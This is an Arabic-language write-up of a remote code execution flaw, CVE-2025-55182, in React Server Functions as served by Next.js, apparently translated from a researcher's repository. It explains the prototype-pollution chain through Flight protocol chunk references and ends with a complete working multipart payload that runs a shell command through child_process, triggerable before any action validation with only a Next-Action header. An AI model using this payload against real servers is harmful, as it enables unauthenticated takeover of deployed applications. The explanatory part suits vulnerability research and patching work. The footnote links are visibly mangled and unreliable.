
شرح ونموذج PoC كامل لثغرة RCE CVE-2025-55182
تسمح هذه الثغرة بتنفيذ أوامر عن بُعد (RCE) في دوال الخادم الخاصة بـ React، على سبيل المثال كما تقدمها Next.js من خلال مراجع نموذجية غير آمنة.
لست خبيرًا في React أو Next.js، لذا خذ جميع المعلومات هنا بحذر.
تقدم React دوال الخادم1، والتي يمكن اعتبارها نوعًا من RPC عبر HTTP. يمكن استخدامها لجلب البيانات من الأقران المجاورين لضمان زمن انتقال منخفض، أو تنفيذ طلبات مصادق عليها لا يملك العميل بيانات الاعتماد الخاصة بها.
تستخدم React ما يُسمى بروتوكول React Flight2 لتسلسل القيم المُمررة إلى دوال الخادم.
يمرر العميل "أجزاء" إلى الخادم، على سبيل المثال عبر بيانات النموذج:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
كما هو موضح، يمكن أن تحتوي هذه الأجزاء على مراجع بين بعضها البعض. يقوم الحمولة أعلاه بإلغاء تسلسلها إلى التالي على الخادم:
{ object: 'fruit', name: 'cherry' }
التنسيق نفسه أكثر تعقيدًا بعض الشيء ويسمح بتسلسل وإلغاء تسلسل أكثر تعقيدًا، لكن هذا يوفر فهمًا أساسيًا للثغرة الفعلية.
حتى هذا التعهد3، عند اجتياز الأجزاء في حل المراجع، مثل الحصول على fruitName من الجزء 2 في المثال أعلاه، لم تتحقق React مما إذا كان المفتاح المطلوب مضبوطًا بالفعل على الكائن. هذا سمح لنا بالوصول إلى النموذج الأولي للكائن4.
يمكن إثبات ذلك بحمولة مثل هذه:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
والتي يتم إلغاء تسلسلها إلى مُنشئ الدالة5:
[Function: Function]
عندما لا يكون الجزء ذو المعرف 0 مصفوفة بل كائنًا، يمكننا تعيين المفتاح then إلى مُنشئ الدالة. ثم يتم إرجاع الكائن بواسطة دالة decodeReplyFromBusboy وانتظاره بواسطة Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
عندما يُرجع هذا كائنًا قابلاً للانتظار (thenable)، فإن await في المُستدعي سيقوم باستدعائه. هذا ما يحدث مع هذه الحمولة:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
مما يؤدي إلى هذا الخطأ:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
يبدو الخطأ بهذا الشكل لأن V8 يقوم باستدعاء دالة await بدالات resolve و reject الداخلية، والتي عند تحويلها إلى سلسلة نصية (toString)، تُسلسل إلى شيء مثل:
function () { [native code] }
نظرًا لأنه يمكننا بسهولة الحصول على مُنشئ Function، فإن الطريقة المباشرة هي العثور على أداة استدعاء (call gadget) تستدعي المُنشئ بقيمة يتحكم فيها المستخدم (أي، كود الدالة كسلسلة نصية)، ثم تستدعي الدالة المُعادة.
هناك عدة أماكن يمكنها استدعاء مُنشئ الدالة، على سبيل المثال resolveServerReference، حيث أن id هو كائن متحكم به، ويمكن الكتابة فوق lastIndexOf لإرجاع سلسلة نصية يتحكم فيها المستخدم (على سبيل المثال عبر Array.prototype.join) ويمكن الكتابة فوق slice إلى مُنشئ الدالة. ومع ذلك، هذا المكان لا يعمل لأن الاستدعاء الثاني لـ .slice() يقدم رقمًا كأول وسيطة، والذي -على حد علمي- لا يمكن أبدًا معالجته بواسطة مُنشئ الدالة.
هنا تأتي فكرة رائعة من maple31426. عندما يقوم getChunk بسحب الجزء ذو المعرف 0 كمرجع جذر لبدء حل سلسلة المراجع، هذا الجزء نفسه يمكن أن يحل إلى "جزء مزيف" مصنوع.
يمكننا الإشارة إلى الجزء المُصنّع 0 في الجزء 1 باستخدام صيغة $@، والتي تُرجع الجزء "الخام"، وليس قيمته المُحلّة:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
بدمج هذا مع الكتابة فوق then الخاصة بنا من أعلاه، يمكننا صنع شيء مثل هذا:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
هنا، الجزء 0 يقوم بالكتابة فوق .then() الخاص به بـ .then() الخاص بتمثيل الجزء الخام الخاص به. ببساطة، نكتب فوق .then() الخاص بنا بـ Chunk.prototype.then، والذي موجود، لأن Chunk هي كائنات قابلة للانتظار (thenables):
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
مع الحمولة أعلاه، يتم في النهاية استدعاء Chunk.prototype.then مع الجزء المُصنّع ذو المعرف 0.
كما هو موضح أعلاه، عندما يكون .status على الجزء المزيف الخاص بنا هو resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
ندخل إلى initializeModelChunk. هنا، يتم تحليل .value كـ JSON، ثم يتم حل المراجع على الكائن المُعاد، باستخدام "السياق الخارجي" لأجزائنا ذات المعرفين 0 و1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
ضمن هذا، نحصل الآن على مرور ثانٍ للتقييم مع قيم إضافية قليلة يمكننا الوصول إليها بسبب حل السياق الخارجي بالفعل.
هناك أداة استدعاء في معالجة بيانات blob مع البادئة $B في بروتوكول Flight:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
باستخدام الحقل الخاص _response، نتحكم في خاصية response للجزء المُصنّع:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
بهذا، يمكننا صنع كائن بخصائص .formData و ._prefix مزيفة:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
يجب إضافة .reason لتجنب الفشل في استدعاء toString في initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
عن طريق توجيه ._formData إلى مُنشئ الدالة، و ._prefix إلى الكود الخاص بنا، نحصل على أداة استدعاء لمُنشئ الدالة في إلغاء تسلسل blob:
response._formData.get(response._prefix + "0")
// يصبح
Function("return foo; // 0")
يتم بعد ذلك إرجاع الدالة المُصنّعة بواسطة parseModelString كطريقة .then() للجزء المُصنّع، والتي يتم أيضًا انتظارها، لأن كل هذا يحدث في سلسلة وعد واحدة لحل الوعود. وبالتالي، بإرجاع كائن قابل للانتظار، يتم استدعاء الدالة المُصنّعة. يشكل هذا أداة الاستدعاء المطلوبة المُشار إليها أعلاه.
بتجميع كل هذا مع حمولة RCE فعلية، نحصل على شيء مثل هذا:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
المكافأة، التي تجعل هذه الثغرة أسوأ، هي أن كل هذا يحدث أثناء إلغاء التسلسل، قبل التحقق من صحة الإجراء المطلوب لأول مرة في getActionModIdOrError. وبالتالي، فإن تعيين رأس مثل Next-Action: foo كافٍ لتفعيل الثغرة.
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E